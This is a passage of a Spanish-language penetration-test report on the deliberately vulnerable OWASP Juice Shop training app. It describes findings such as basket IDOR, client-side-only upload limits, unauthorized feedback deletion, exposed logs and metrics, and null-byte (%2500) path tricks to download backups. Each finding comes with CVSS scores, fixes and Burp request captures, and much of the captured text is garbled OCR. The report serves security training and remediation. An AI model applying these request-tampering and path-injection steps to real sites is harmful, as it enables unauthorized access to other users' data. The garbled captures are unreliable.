VER LA CESTA DE OTROS USUARIOS

DESCRIPCION

EVIDENCIA

RIESGOS

RECOMENDACIONES

6,5 MEDIA

http:juice.shop/rest/basket

Las peticiones que se generan al servidor para ver la cesta no tienen un
control de acceso. Esto significa, que un usuario autenticado puede
generar una peticion legitima para ver su cesta, capturarla y alterar la
consulta para ver la cesta de cualquier otro usuario de la aplicacion.

Captura donde se ve como el servidor nos entrega los datos de la cesta
de compra del administrador habiendo iniciado sesién con un usuario
recién creado.

Request Respanse
rreny [ v B 0 = B row vex oo B 0 =
L GET /restfbeshet/l| HTTP/1.1 1HTTR/1.1 200 6K

413000 2 Access-Control-Allow-Origin: *
.0 (XL Linux x35 84 rvio1.0) Gecko/200001C1 Farefox/o1.0 = - Contant-Type-Optaons: resniff

son, zext/plain, 7 | %-Frame-Ootions: SAMECRIGIN
.5 payrent self'

pelication/json; charsst-uif-8
B CBROV 2 U0 D S 20 vhhE"
t-Encoding
18 May 2072 20:45:24 GHT

1,

IS 1M 99, 6y J2dGROG Y G J2N) 2K i 2607 S] Sy JpZe] 8¥3ksTnvz2x)

205 KoL new] nv TuBNDH
0L 011} AXNCB21 e § 5T 1N AZVRYS2Yul 01T 1w bOF2dEx v 22L0SHAR DL T
a eV 1T o1 2 hzz2iL neilcl
101243 BXNEY oL iRy LTy ZWFCZWRBSCT 6l J T ulh] TTFDUEMT o] AENDUSMDFUIEMAICS
(ZCFOZFBACT 67 7w TtHELITHT gqN] ASNOLENDY LMOMAI 5w MDSWMEL STLbCUOZWABACIEbnYSbI D 13
Mgkwt) €00V ZXWT 3 03] Uy OT TONZEF Q. v LDT X011 Z6LV 2831 STKEPKUSHIY- X] E- gSLUXSEL FD

E: i}

ST p: OEqBgCy_C
D aXHov2D: SetbavAMCa7VCRAV .00

Uiy, e
13 LETLIR M g A50LENDY
2l 3 oxl Uy TTTENZESE 0. LT px
e N

VOZWAEAC ehrVsh 0
v HIE eI L

wgfido
11 TF-None-HsTeh: Wy "S- NeqaiTaZH JVHBESSARACbN 1p8d"

Esta vulnerabilidad permitiria a un atacante obtener informacién sobre
las compras que realizan nuestros clientes y hacerse una idea de que
tan interesante le puede resultar dedicarse a explotar nuestra
aplicacion.

Asi mismo, la vulnerabilidad descubierta sugiere que posiblemente,
existan mas errores parecidos dentro de la aplicacién en donde haya
solo una validacidn de las peticiones el front end y no en el backend.

Cuando se envie una peticidn para saber el estado de una cesta de
compra, el back end debe revisar si el usuario tiene permisos para ello,
algo que solo deberia ser posible si se verifica que la cesta es suya.

La base de este error proviene de confiar en que las peticiones que
proceden desde el front end no seran alteradas por el camino, algo que
es realmente sencillo de hacer.
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REFERENCIAS https://owasp.org/Top10/A01 2021-Broken Access Control/

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_033 VER LA CESTA DE OTROS USUARIOS

CVSS3 PUNTUACION MEDIA 6,5

Vector de Ataque Se accede desde internet.

Complejidad Baja, su descubrimiento es basico y su explotacion también.

Baja, requiere la creacion de un usuario tipo “customer” en la
aplicacion.

Privilegios requeridos

Interaccion del usuario Ninguna, no se requiere de interaccidn con usuarios de la plataforma.

Sin cambios, en este caso la vulnerabilidad se encuentra y afecta a la

Alcance . L,
propia aplicacién.

Confidencialidad Alta, pues permite acceder a la cesta de cualquier usuario.

Integridad Ninguna, no es posible editar informacién existente.

Disponibilidad Ninguna, no es posible con esta falla denegar el servicio.

EXPLOTACION

En la siguiente captura, vemos como si enviamos una peticién para recuperar una cesta sin iniciar
sesidn en la aplicacion nos devuelve un error.
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Request Response
pretty [EERN Hex W (= [Tl Raw Hex Render il (=

1 GET /rest/besket/ﬂ HTTP/1.1 1 HTTP/1.1 401 Unauthorized

2 Host: 192.168.1.41:3000 2 Access-Control-Allow-Origin: *

3 User-Agent: Mozilla/5.0 (X11; Linux x86_84; rv:01.0) Gecko/20100101 Firefox/S1.0 3 X-Content-Type-Options: nosniff

Accept: application/json, text/plain, */%* -Frame-Options: SAMEORIGIN

ccept-Language: en-US, en;q=0.5 eature-Policy: payment ‘self'
ccept-Encoding: gzip, deflate ontent-Type: application/json; charset=utf-g
onnection: close ary: Accept- Encoding

& Referer: http://192.168.1.41:3000/ ate: Mon, 25 Jul 2022 20:37:36 GMT

9 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; onnection: close
con'tinueCode=Y72qnqEzG2nubhEtkT7uEtZTkUnc2i 0SeLpmfmpHRy SpbsEY HENGX L 3wSyDg; ontent-Length: 234
continueCodeFindIt=pYynakgQnVkbp 00GqWaxdY 13ey X85q tmSR7BLOMYS 2L E0ONGrIP] zmw] 02rb ;
continueCodeFi xI t=6wbYBYpOzqMmO] 4QRW2EXwDASVk xSPh513Z6PLbK7Grv gyBNnBI LoeSDaKyN
10 If-None-Match: W/"3250- vBM/SNqq0q/5TolVtdHzvs /rrMa®

"No Authorization header was found",
nauthorizedgrror®,

El mensaje de error dice: “No Authorization header was found” y también “credentials_required”.

Este mensaje apunta a que lo Unico que se revisa el servidor para aceptar la peticién es que la misma
se haga desde un usuario que haya iniciado sesion.

Esta forma de trabajar es habitual, pues el front end esta programado para mandar consultas sobre
la cesta del usuario que tenga la sesidn iniciada en ese momento y el back end no espera que se

altere esa consulta.

No obstante, capturar y editar estas consultas es algo muy sencillo y por ello, si editamos el
identificador de la cesta, un usuario podra recuperar cualquier cesta existente en la aplicacion, tanto
si le pertenece como si no.

A continuacién, hacemos una peticién desde un usuario recién creado solicitando la cesta con ID=1
que resulta ser del administrador y que como se puede ver, es devuelta por la aplicacidn:

Row Hex Herier [ W =

»1 200 0K

rol-Allew-Oragin: *
aff

-ty

MEGRIGIN
payrent *self
application/json; charsstautf.s
¥R Uk ADT SqZxG] whbB®

t-Enceding
d, 18 way 2022 20:45:20 @

angth: Ls1o

2
de16E Lk L
T oxl

Gt A
oTIoNGEAD.

STnLhdcTEMTY 1M
KelSaSmmTps - 43508,

vlDTpxo:

. Apple
+description®
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VUL _034 - BULLY Chatbot

BULLY Chatbot

- Vul_034 5,3 MEDIA
http://juice.shop/#/chatbot
El chat de soporte entrega cupones de manera indebida si se insiste con
DESCRIPCION la palabra “coupon”.

SUPPOTt Chat peeusspsieponnsn

E.

EVIDENCIA

FQ might have my memory wiped i | do that.

Captura de la entrega indebida de un cupdn de descuento tras insistir
algunas veces en que queremos un cupon

Entrega de cupones de descuento no deseados ni controlados que
RIESGOS podria llegar a provocarse de forma automatica.

RECOMENDACIONES El chat esta mal programado y ofrece cupones tras varias peticiones.

REFERENCIAS https://owasp.org/www-community/attacks/Brute_force_attack

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_034 BULLY chatbot

CVSS3 PUNTUACION MEDIAS,3
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Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

Red, es accesible desde internet

Baja, solo hay que repetir

Ninguno

Ninguno

Sin cambios, el ataque se realiza en la aplicaciéon y afecta a la misma

Baja, se accede a cupones que no se deberia acceder

Ninguna, no se puede editar la informacion

Ninguna, no se puede denegar el servicio

EXPLOTACION

Basta simplemente con escribir varias veces la palabra COUPON en el chat para que nos dé un
cupon. Como curiosidad, poco antes de darlo, nos manda un mensaje extrafio que puede
descifrarse/limpiarse facilmente.

Empezamos a insistir con COUPON y nos contesta lo siguiente:

coupon .

Sorry, | am not allowed to
hand out coupon codes.

Como se aprecia en la imagen anterior, nos manda un mensaje lleno de caracteres que no dejan leer
lo que esta diciendo. Para limpiarlo usamos esta herramienta:

https://beautifytools.com/string-utilities.php
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Enter a string below and select what you want to do with the string and click Go to start the string manipulation.

(© Remove any underscores or dashes and convert a string into camel casing.
() Capitalize the first character of the first word of sentences.

(O Convert all adjacent whitespace characters to a single space.

(O Make a converied camel cased string into a siring delimited by dashes.

O Decode HTML entities into their string representation.

() Escape the himl markups.

() Remove accents from Latin characters.

O Count the length of the string.

(O Count newiines of the string.

@ Remove accents from Latin characters and Convert the text inio a valid url slug
(© Make the string with the first letter of each word uppercased.

(O Make converted camel cased string into a string delimited by underscores
(O Unescape the himl markups.

(O Make all characters lowercase.

(O Make all characters uppercase.

© Reverse all characters.

© Count all sentences.

© Count all words.

(T |

Enter a string below and select what you want to do with the string and click Go to start the string manipulation.

i-cant-hear-you-too-much-static-please-check-your-internet-connection

(© Remove any underscores or dashes and convert a string into camel casing.
(O Capitalize the first character of the first word of sentences.

(O Convert all adjacent whitespace characters o a single space.

(O Make a converted camel cased string into a string delimited by dashes.

© Decode HTML entities into their string representation.

O Escape the himl markups.

© Remove accents from Latin characters.

(O Count the length of the string.

© Count newdines of the string.

@ Remove accents from Latin characters and Convert the text into a valid url slug.
() Make the slring with the first letter of each word uppercased.

Ahora si podemos ver que lo que dice el chat es: “I can Hear you too much static please check your
internet connection”.

Tras ver este comportamiento inusual, seguimos insistiendo con la palabra coupon hasta que nos
brinda uno:
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You successhully solved a challenge: Bully Chatbot (Receive a caupon code from the suppart chatbat )

Support Chat

Sorry, but our CFQ might have my memory wiped if | do that.

Sarry, but our CFO might have my memory wiped if | do that.

okay, If you promise to stop nagging me here's a

O
coupon code for

coupon .

coupon .

coupon .
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VUL _035 — Upload Size

Upload Size

5,4 MEDIA

http://juice.shop/file/upload

A la hora de subir archivos el sistema tiene una validacion el front end
para evitar que se suban archivos mayores de 100KB. Esta es una regla
habitual para evitar la sobrecarga de espacio en el servidor debido al uso.

DESCRIPCION No obstante, de nuevo esta validacion solo tiene lugar en el front end,
permitiendo a un atacante malintencionado, interceptar y alterar la
peticion dirigida al back end, afadiendo entonces un archivo de mucho
mas peso que sera aceptado por no contar con los filtros necesarios.

Complaint

[

Captura del bloqueo existente en el front end para los archivos
superiores a 100KB

EVIDENCIA

oy O e B 0 =
o 2.1

= 2 » ®w & =z 3

L7y ST Epn ety ogh
[

Canpt'uFé"dé la p?ehcién al back end manipulada para subir un archivo
superior a 100KB.
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RIESGOS

RECOMENDACIONE
)

REFERENCIAS

Esta vulnerabilidad permite a un atacante subir archivos de mayor
tamafio del permitido al servidor, pudiendo causar, segun el espacio
disponible, una saturacién malintencionada del disco de forma que la
aplicacion empezara a fallar en la carga de archivos y en todo aquello
relacionado con el agotamiento de dicho espacio.

Por tanto, se puede causar un malfuncionamiento de la aplicacién o
incluso, cierta denegacion de los servicios disponibles, repercutiendo de
nuevo, en el prestigio de la aplicacion.

Todos aquellos datos que se envian desde el front end al back end deben
filtrarse debidamente en ambos lugares. Tener una validacién de la
entrada de datos exclusivamente en front end permite a un atacante
malintencionado, interceptar y alterar las peticiones al back end para
conseguir comportamientos inesperados.

https://owasp.org/www-
community/vulnerabilities/Unrestricted File Upload

https://owasp.org/www-
community/vulnerabilities/Improper Data Validation

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_035 Upload Size

CVSS3 PUNTUACION

Vector de Ataque

MEDIA 5,4

Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos

Interaccion del usuario

Bajo, se puede realizar con una cuenta normal de usuario

Ninguna

Sin cambios, la vulnerabilidad nace y afecta a la aplicacion
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Confidencialidad Ninguna, no permite acceder a datos sensible

Integridad Baja, permite subir archivos de mayor tamafio a lo que deberia ser.

Baja, pues puede lograrse una saturacion del disco no permitiendo
Disponibilidad que ciertas funciones de la aplicacion funcionen correctamente y
causando problemas, aunque no a la totalidad de la aplicacion.

EXPLOTACION

Cuando tratamos de subir un archivo superior a 100KB, podemos comprobar haciendo uso del
INTERCEPT de BURP que ninguna peticidon de carga es enviada al back end de la aplicacién, a pesar
de que se nos muestra un mensaje donde se nos deniega la carga misma.

Esto demuestra claramente que existe un filtro en el front end y nos queda la duda de si el mismo se
repite en el back end.

Complaint

Invoice: iloveimg-conv

Ante una peticidn licita, por otra parte, la peticion al front end es creada y sucede con éxito:

e s e i v g e
" Vst Hethad Pams  fatsd | Sas  Laagh  MMEDps  Evsnscn T Gomment T8
B R BT Y

A7 NpIHS2IGEAEAN00 LT
a8 hupnetenszisamon G
40 mpnoieeceewmon  gE
50 NHpIS2168A27943000

Listonar 0
a0mn

"
WaERA 1 04w 1
19216842184 ’

WM sk
A welf 23842134
Y 2634213
v 1 e 218942190
‘ an___aw son TeALIEe

N bupHliaeeesanon  ROSLisgiemplin

o B W=

.

206l SR LT A 2L
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A partir de aqui, lo Unico necesario es modificar esta peticién y aifiadir un archivo de mas peso, en
este caso, en formato pdf:

Request Response —
-8 = . vex render (B 0 = "
POST /11 le-uplosd HTTR/1.1 1 HTTR/1.1 204 No Content
2 Host: 152.168 00 2 Access-Control-ALlow-Origin: * g
User- Agent : .0 (X113 Lirux x85_64; rviol.0) Gecko 20100101 Firefox/al.0 3 X-Content- Type-Options: nosniff
1 Accept: s
Accept: Langu =0
& Accept-Encoding: gzip, deflate L
Authorizatian: Gea
) DeXALOLIKYLG: LEIhbGe1 02 JSUZIINL 9, ey 2 dGROGXML 0L JzdWN) ZXNzL 1wl 2GFOY ST ey pZCL GMSn R
mShbblL 01 71 LCY LbWFpbCT 6T kb L 0GR L awN LLXNoL méwT 1wl cGFzc 3dve 1 TwHTk yMDT 2Tl YmG3Mz T 1MDU
anmrung Lkz) [ahu_n(]s]mvnciEc,hz(lph)rs LBz 820 | 02 i b 20CZ2 LUsKesCa 1wz 5
LG L ot JhesnLdrames v boLjLzLe i

T R

FBUCTT) Tl DT A TSV DAL CoDeCT s tRLb OV BT
42 3 q 6 LEDLVX 217 rCETP_LER y1 SBMyMGERD
il i A A VA Al Sy A S
3rwkkrEGkwsOrdallyPhZobvbevch_PoydsD7NeL2Mr- FY

& Gontent-Typa: miltipart/forn.
boundary=

S Content-Length; 163858

10 Oragin; http://152.168. 42, 164: 3600

1107423331 4047536341 0369535

smiss;
ptmi
qn3;

ar o
A P

contanueCaderi x

rrrrr 2230107425331 404763834 10368535
muchomenos 100 pdf*

Content-Disposition: farm-data; name='file'; filanare
17 Content-Type: application/pdf

15 %E0F-1.5

/Filtar /Flatsbecode
oth 157673
engthl 363306

7 stream
xil KTt 2SSLEUALAE 5,330, [0070IAUSDNOIL., Cub

WENwT? | Db TERND &
A=Y BLOBO AB0F+ 45T 51 284T00 nlm‘,m al
I UKPE00: 57 Cie 77 1800 xn eociCo 8715

Y el back end lo acepta sin problema pues no existe un control explicito en el mismo.

ity salved  challenge: Ugload Siee (Uplaad & fle larger than 100 k.)

Complaint
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VUL _036 — FIVE STARS Feedback

DELETE FIVE STARS Feedback

Vul_036

DESCRIPCION

EVIDENCIA

RIESGOS

RECOMENDACIONES

REFERENCIAS

6,5 MEDIA

http://juice.shop/api/Feedbacks

El filtrado y autorizacién para el borrado de los feedbacks se ejerce solo
a nivel del front end.

De esta forma, un usuario malintencionado puede interceptar la
peticion enviada al back end y solicitar con éxito que se borre cualquier
feedback existente en la tienda.

Imagen de la captura de una peticidn de borrado al endpoint y que es
aceptada sin tener los permisos requeridos.

Un usuario malintencionado podria borrar completamente todos los
feedbacks existentes y dafiar seriamente la reputacién de la aplicacion.

Ademas, si no se dispone de un backup adecuado, esos comentarios
pueden perderse para siempre.

Es muy importante que todas las entradas de datos que recibe el back
end se filtren nuevamente porque es posible interceptar y alterar todas
las peticiones enviadas al mismo.

En este caso, el back end deberia revisar si el usuario que solicita el
borrado estda o no autorizado para ello y denegar o permitir la
operacidn en consecuéncia.

https://owasp.org/Top10/A01 2021-Broken Access Control/

167


https://owasp.org/Top10/A01_2021-Broken_Access_Control/

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_036 FIVE STARS Feedback

CVSS3 PUNTUACION MEDIA 6,5

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Bajo, se requiere una cuenta normal de usuario

Interaccion del usuario Ninguna

Alcance Sin cambios, la vulnerabilidad nace y afecta a la aplicacion

Confidencialidad Ninguna pues no se accede a datos sensibles.

Integridad Ninguna porque los datos solo se pueden borrar, no editar.

Disponibilidad Alta, porque se pueden borrar datos que dejaran de estar disponibles

EXPLOTACION

Al realizar una peticién DELETE a la ruta /api/Feedbacks/id_feedback el comentario es borrado al
momento, aunque la solicitud se mande desde una cuenta que no tenga permisos de
administracion.

Podemos verlo en la siguiente captura de pantalla.
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Request

[\ Ty =
Usar- Agent; Wzl\.i/S B (X11; Linux x86 &
Accept: application/jsen, uxvp\am,

rvi91.0) Gecke 20100101 Firsfox/oL.0

G e

M3, 2z o : EsInVzZX)
oL ST BT
brTigrar v sgszi atnarbauiodjaxebail sl rLbiazimazntjoi i wiborzdcnzzlusa il ia

L=vwd 11 joi Lz L eh3s
-AJZJcm\d:ﬂ]mhnuxwi&dnﬂ:maydumi-mmmﬁd([s{]1.«]1 ummqnymncmmmsymmn
WHCTa T ZORDZNRESCTAT | Tul Mgty
Tz ZihelJoxUZHIL I 2. L

Grenp2ery sl oL s
VDAt oy
5 Content Topes aopscation3aon
» Gontant - Langth
nttp:/ /192, 16842, 1945 3000
on: close
http: /192, 168, 42.194: 3000/
=5 _status=dismiss;
B bqul. ; toks
LE3hb s 01 3502 e 15, ey 2dGrodae 0751 6ey 2p2CIEM) ESTnVz:

PG REA L] L TR AT ST 2Lt VLI EN LAy 2T T JU] TaNTD
i s 25T 6L LG 39biy 1w 2Gys i LV 2w 0 L LCIS 30T G

SH2FLZ) A2 HAZNIhOT KL

NENSICCIT] AuMavL ] A_Lc.lu(ms"athwxhzd.r.Vurvxwzlx L33 Y XY y 9 bR Z KBS 2Pk cy Sk ZwZhd
QLNNZZyT=TnAYAHET Zuby: bt FjoEL22ST S0 1294 Y1 LA ZEF:IJom]a,blxbmxw\\.qyn’mmu
oy kT a1 o kAR TEED1 1] A i A OYNLQYHT oy} o 0CYNEFo et ZVAZAA fSui awe

O130%4] U2 ANT£4LC LA GIENTY§OTY Lz, buCh Gk yhadL LDy o Aa,mwu»maso LeFhgks
QMNED'S_ciW] TanSFFaxHIG] | APQOP] JOLM] NOXNEFPLING_ G KPXYmSZB0LY -C oV OsuJu7acdazf iek_Pots1 vy
ScSobZFDOBCFTz a0y ghasHIpTH 8

wuserzdr: -

“captchald':0,
“captcha®; 28,

“cammente i hols (+vrursiojuice-sh.ep)
“rating':2

Response

O e e o B 0

WITR/1.1 201 Crested
2 Access. Control- Allow: Origin:
X-Contant- Type-Options: nesniff
4 X-Frame-Cprions: SAMECRIGIN
= Feature-Palicy: p
Locatien: /api/Feedbacks/
Contene.Typas applicatianysaons charsat-utt-6
5 Content-Length:
 age W € SEWETEZ SIS KETTL D

12 Connection: close
13

141
“success®,
"rating':2,
“updatedat! s 2007 05 29T 42045, 45571,
“createdit’ ;" 2022-06. 26T22: 42: 43, 4557
}

ommenit* i 'hola (+xruxe10juice-sh.op] A ————

INSPECTOR
Request Attri
Guary Param
Request Coob
Request Heat

Response He:
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VUL_037 — ACCESO A LOGS, exposicion de

Vul_037

DESCRIPCION

EVIDENCIA

RIESGOS

informacion

ACCESO A LOGS - EXPOSICION DE INFORMACION

5,3 MEDIA

http://juice.shop/support/logs/

Informacién de exposicion indebida. Se puede acceder a los logs del
servidor sin ningln tipo de autorizacion, incluso es posible que, en
cierto momento, google pudiera llegara a indexarlos y mostrarlos
como resultado en sus busquedas.

A pesar de que esta es una vulnerabilidad informativa, se ha valorado
como media debido a la informacidn sensible que contiene y a las
posibilidades de explotacion que puede propiciar.

Las personas que reciben acceso a los logs pueden encontrar en ellos
diferentes funciones y puntos de la aplicacién a los que lanzar baterias
de pruebas para encontrar vulnerabilidades.

Ademas, otras personas menos técnicas pueden hacerse a la idea de
cuantas peticiones se registran cada dia, o incluso, cuando procesos
de comprar se lanzan a diario, etc.
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RECOMENDACIONES

REFERENCIAS

Vul_037

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

Los logs no deberian nunca ser accesibles sin ningun tipo de
proteccion. Ademads, es recomendable que el acceso a los mismos esté
separado de la aplicacidn y no se puede llegar a los mismos desde esta.

https://cwe.mitre.org/data/definitions/532.html

EVALUACION DE CRITICIDAD CVSS 3.1

ACCESO A LOGS - EXPOSICION DE INFORMACION

Media 5,3

Red: el ataque se puede montar a través de Internet.

Baja, se puede obtener toda la informacién desde el navegador

Ninguno: el ataque podria ejecutarse desde una perspectiva no
autenticada/no autorizada

Ninguna, el atacante puede acceder a la informacién sin requerir
ninguna accion por parte de otros usuarios

Sin cambios, es una vulnerabilidad de la aplicacién que afecta a la
misma.

Baja, hay cierta pérdida de confidencialidad y se obtiene acceso a
cierta informacién restringida, pero el atacante no tiene control
sobre qué informacién se obtiene. La divulgacion de informacion no
causa una pérdida directa y grave al componente afectado.

No existe perdida de integridad, porque los logs no pueden ser
editados ni alterados.

No existe perdida de disponibilidad, pues esta vulnerabilidad no
permite borrar los logs o denegar el acceso a los mismos.
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EXPLOTACION

Se puede encontrar el directorio simplemente haciendo un fuzzing de directorios en la aplicacidn,
con algo de tiempo y suerte.

También hemos encontrado referencias al directorio /support/ en el codigo del main.js.

La explotacidn es bien sencilla, se navega al directorio y haciendo clic, se descargan los archivos que
pueden leerse en cualquier editor de texto.

-~ I'support/ logs |
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VUL 038 — EXPOSED Metrics

EXPOSED Metrics

Vul_038 5,3 MEDIA

http://juice.shop/metrics

La aplicacidon dispone de una pagina de métricas con informacion
sensible que puede deberia ser privada y que se puede visitar de forma
publica.

DESCRIPCION La pagina se encuentra facilmente con un programa de exploracién de
directorios.

A pesar de ser una vulnerabilidad informativa, se ha valorado como
media debido a la informacion dispuesta.

hit;‘::/’/’lln. 168.42.194:3000 js,php,asp,nd, bak, kdbx,yml,md, gg, pyc

Extensions: HTTP method: Threads:
Wordlist size:

Output File: /home/nun/.dirsearch/reports/192.168.42.194-3000/_22-05-02_00-17-54. txt
Error Log: /home/nun/.dirsearch/logs/errors-22-05-02_00-17-54.1log

Target:

[00:17:54] Starting:

-> /api-docs/ (Added to queue)

EVIDENCIA

-> /assets/ (Added to queue)

23:45] 200 -  22KB - /me (Added to queue)
Captura de la salida de dirsearch en la cual se revela este y otros
directorios abiertos de la aplicacién
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RIESGOS

RECOMENDACIONES

REFERENCIAS

+

0/metrics

Docs Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec s SA

artup_dur:
artup_dur;
artup_dur:
artup_dur;
artup_dur:
artup_dur;
artup_du

artup_dur:

Captura de la informacion sensible expuesta en la pagina de métricas.

Un atacante puede obtener informacién valiosa sobre los procesos del
servidor y el uso de memoria para preparar ataques contra la aplicacion
y/o obtener informacion sensible.

Las paginas que contiene informacidn sobre el servidor, métricas, uso
de la CPU, etc, deberian estar debidamente protegidas.

La mejor practica para ello es que se encuentren fuera de la aplicacion.
Cuanto mds compartimentado y asegurado este todo, mejor.

https://es.acervolima.com/vulnerabilidad-de-exposicion-de-datos-
sensibles/
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4

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_038 EXPOSED Metrics

CVSS3 PUNTUACION MEDIAS,3

Vector de Ataque Red, las métricas son accesibles desde internet sin autorizacion

Complejidad Baja, las métricas se encuentran con facilidad

Privilegios requeridos Ninguno

Interaccion del usuario Ninguno

Alcance Sin cambios.

Confidencialidad Baja, en las métricas no hay mucha informacion

Integridad Ninguna, no se puede editar la informacion

Disponibilidad Ninguna, no se puede editar la informacion
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VUL _039 — FORGOTTEN Sales Backup

DESCRIPCION

EVIDENCIA

RIESGOS

RECOMENDACIONES

REFERENCIAS

FORGOTTEN Sales Backup

0 INFORMATIVA

http://juice.shop/ftp/coupons_2013.md.bak%2500.md

Se encuentra un archivo de backup de ventas en el que encontramos
diversos cupones que se pueden utilizar para obtener descuentos. De
nuevo el archivo es descargable gracias a una vulnerabilidad de LFI
relacionada con el null byte.

De nuevo, no se valora el riesgo inherente a la vulnerabilidad LFI por
estar expuesto en su correspondiente seccion.

PWASP Juice Shop X listing direc

Q. 192.168.1.41

B ftmp/mozilla_nun0/coupons_2013.md.bak%00.md [Solo lectura] - Mousepad
Archivo Editar Buscar Ver Documento Ayuda

B C x o Q& n

90:<

11
12 1}6D$gC7ss

Captura de la descarga del archivo con inyeccion de NULL BYTE

Aparte de los peligros referidos por la LFl ya expuestos y el acceso
indebido a un directorio que deberia ser privado, el archivo en si nos
revela una buena cantidad de cupones que se podrian estudiar para
tratar de generar unos nuevos y validos.

Los cupones que se generan deberian ser completamente random, los
generados en este archivo parecen seguir un patron, parte del codigo
del cupdn se repite.

Se deberia cerrar el directorio y resolver la vulnerabilidad LFI antes
reportada.

https://owasp.org/www-project-automated-threats-to-web-

applications/
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VUL 040 - FORGOTTEN Developer Backup

Vul_040

DESCRIPCION

EVIDENCIA

RIESGOS

FORGOTTEN Developer Backup

5,3 MEDIA

http://juice.shop/ftp/coupons_2013.md.bak%2500.md

Se encuentra un archivo de backup de un desarrollador en donde hay
mucha informacién sobre dependencias usadas en la aplicacion. Es una
informacién muy sensible que permite profundizar en la busqueda de
vulnerabilidades y no deberia ser accesible.

De nuevo el archivo es descargable gracias a una vulnerabilidad de LFI
relacionada con el null byte.

#) New Tab

intentionally insecure JavaScript Web Application”,
'/ owasp-juice.shop”,
Kimminich <bjoern.kimminichaowasp.org> (https://kimminich.de)",

"webappsec”,
"owasp"”,
*pentest”

*broken*,
"bodgeit”

*dependencies”: {
"hadu-narear™: "~1 18"

Thank you for your order!

Captura de la descarga del archivo con inyeccion de NULL BYTE

Aparte de los peligros referidos por la LFl ya expuestos y el acceso
indebido a un directorio que deberia ser privado, el archivo en si nos
revela una buena cantidad de informacidon que puede permitir a un
atacante estudiar mas a fondo la aplicacion en busca de fallas de
seguridad.
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RECOMENDACIONES

REFERENCIAS

Vul_040

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

La informacién en este informe permite, por ejemplo, buscar diferentes
vulnerabilidades presentes en los médulos de la aplicacién.

Se deberia cerrar el directorio y resolver la vulnerabilidad LFI antes
reportada.

https://owasp.org/Topl10/A06_2021-
Vulnerable_and_Outdated_Components/

EVALUACION DE CRITICIDAD CVSS 3.1

Forgotten Developer backup

MEDIAS,3

Red, es accesible desde internet

Baja

Ninguno

Ninguna

La misma, el ataque es a la aplicacion y afecta a la misma

Media, permite obtener datos que deberian ser privados

Ninguna, actualmente no permite modificar los datos.

Ninguna, actualmente no permite denegar el servicio
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EXPLOTACION

Basta con navegar al directorio /ftp y afiadir %2500.md al link de descarga como se ve en la siguiente

captura:

/tmp/mozilla_nun0/package.json.bak¥00-3.md [Solo lectura] - Mousep
r Ver Documento Ayuda
mCc x o axn

x

"name”: "juice-shop",
"version": "6.2.0-SNAPSHOT",
"description”": "An intentionally insecure JavaScript Web Application”,
"homepage": "http://owasp-juice.shop",
¢ "Bjorn Kimminich <bjoern.kimminichiowasp.org> (https://kimminich.de)",
"contributors
"Bjorn Kimminich",

"greenkeepe
"MarcRler”

"Captainfreak",
"Supratik Das",
"JuiceshopBot",
"the-pro”
"Ziyang Li",

1,

"private”: true,

"keywords"
"web security”,
"web application security”,
"webappsec”,

"bodgeit"”

'
"dependencies
"hndu_narce

Thank you for your order!
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DESCRIPCION

EVIDENCIA

VUL 041 — ZERO Stars

ZERO Stars

5,3 MEDIA

http://juice.shop/api/Feedbacks

A pesar de que la programacién del front end limita las valoraciones de
cualquier feedback a que estén entre la puntuacion de 1 a 5 estrellas, es
posible interceptar las peticiones enviadas al back end con estas resefias y
alterarlas para enviar una puntuacion de 0 estrellas que dafie la imagen de la
empresa o altere las métricas mostradas sobre estas de manera no esperada.

Customer Feedback

hola mundo

CAPTCHA: whatis 10-10%8 7
Result

]

> Submit

Imagen
de la pagina de feedback donde no se permite una puntuacién menor a 1
estrella

Request Response

Pretty  Raw  Hex B n = ey mew e
1 POST fapisPeedbacks/ HTTP/1.1
2 Hot 1.41:3000

L HTTP/L.L 201 Created
Al Pl

© (X11: Linux ¥86_64; rv:SL.0) Gecks/20100101 Firsfor/a1.0
t/

s Lecataon: /a
content-Type
80

& Accept-Encoding: gzip, de
7 Content-Type: application;
Lo

plication/json; charset=utf-8
the 169

Qdgp1cqj yhurdhngarbespralict
“Encoding

% 1 Aug 2022 21126102 QT
-_status=dismiss; cackieconsent_status=dism

centinueCedery xI t=6ubYETRCRGMND) SaFWZEXuDds vk seh;
13
14t

*captchard®:n

' Imagen
de una peticidn alterada con ranking O que es aceptada por el servidor.
También se aceptan feedbacks de mas de 5 estrellas.
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Directamente este ataque permite a una persona malintencionada influir en
las puntuaciones del feedback. Seglin como se calculen y muestren, puede
alterar y mucho los resultados.

Indirectamente, es una vulnerabilidad que muestra que los desarrolladores no
han gestionado bien el filtrado de las peticiones que desde el front end se
envian al back end, un hecho que pone en alerta a atacantes maliciosos para
buscar mas vulnerabilidades de este tipo.

RIESGOS

RECOMENDAC Es muy importante que todas las entradas de datos que recibe el back end
IONES sean filtradas para rechazar aquellas que son ilicitas o no autorizadas.

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_041 ZERO Stars

CVSS3 PUNTUACION MEDIA5,3

https://owasp.org/www-
community/vulnerabilities/Improper Data Validation

https://www.packetlabs.net/posts/broken-access-
control/#:~:text=Broken%20access%20controls%20are%20the,10%20web%2
Oapplication%20vulnerabilities%20list.

Vector de Ataque Red, es accesible desde internet
Baja, no se requiere de circunstancias especiales para realizarla
Privilegios requeridos Ninglna, no se requiere de cuenta para usar esta caracteristica
Interaccion del usuario Ninguna
Sin cambios, la vulnerabilidad nace y afecta a la aplicaciéon

Confidencialidad Ninguna, no permite el acceso a datos sensibles
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Integridad BAJA, permite insertar valoraciones no permitidos en la aplicacion

Disponibilida Ninguna, no permite denegar el servicio

EXPLOTACION

